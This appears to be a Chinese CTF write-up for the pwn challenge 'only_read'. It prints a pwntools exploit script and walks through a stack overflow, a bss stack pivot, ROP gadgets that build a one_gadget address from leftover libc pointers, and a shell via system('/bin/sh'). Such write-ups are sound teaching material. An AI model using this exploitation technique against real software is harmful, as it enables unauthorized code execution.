0x00
早在 TGCTF 就遇到过只有这种 只有 read 的题目了,没想到这次还是没做出来,真是报应啊~
0x01 only_read
先放脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from tools import* context.log_level = 'debug' p=process("./only_read")
add1 = 0x000000000040111c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret pop_rbp = 0x000000000040111d # pop rbp ; ret add2 = 0x000000000040110c # adc edx, [rbp + 0x48]; mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2efb], 1; pop rbp; ret start=0x40105d leave_ret=0x000000000040115d bss = 0x404000 offset=0x0c52a0-0x801 #原本有0x800,adc有个1,#(ogg-libc_start_main+139)
debug(p,0x40115d)
payload1=b'a'*0x80+p64(bss+0xf00)+p64(0x0401142) p.sendline(payload1)
payload2=b'a'*0x80+p64(bss+0xf90)+p64(start) pause() p.sendline(payload2) pause() #rbp paylaod3=b'a'*0x80+p64(0x404dc0+8)+p64(add2)+p64(bss+0xf90)+p64(start)+p64(offset) p.sendline(paylaod3)
pause() payload4=b'a'*0x80+p64(0x404d98+0x3d)+p64(add1)+p64(pop_rbp)+p64(0x404d98-0x8)+p64(leave_ret) p.sendline(payload4)
p.interactive()
|
题目只给了一个read函数有很大的溢出,无输出
第一次栈溢出,读入payload1,返回到main中的read函数,读入payload2到bss段内,
随着正常的程序执行流,程序执行一次leave:ret ,把栈迁移到bss段,程序执行payload2读入的start,实际为_start+13的地址,然后执行到libc_start_main,程序再次来到main函数,此时看栈的情况会发现在bss段的栈中出现了一些ibc地址,如__libc_start_main+139

因为执行到了main函数,程序会再次执行一次read,读入payload3,
payload3通过
1
| adc edx, [rbp + 0x48]; mov ebp, esp; call 0x3090; mov byte ptr [rip + 0x2efb], 1; pop rbp; ret
|
这条指令把libc_start_main+139与偏移为0xef52b的onegadget的偏移通过控制rbp,填入edx中,

然后再次执行一次start,在

_libc_start_main+23处会把rdx的值移到rbx中
并且在回到main时,此值不变。

之后再次栈溢出读入payload4,
使用
1
| add dword ptr [rbp - 0x3d], ebx ; nop ; ret
|
控制rbp把ebx中的偏移加到栈中的libc地址上最终得到

一个ogg的地址
然后栈迁移到ogg处,执行system(“/bin/sh”)

getshell.
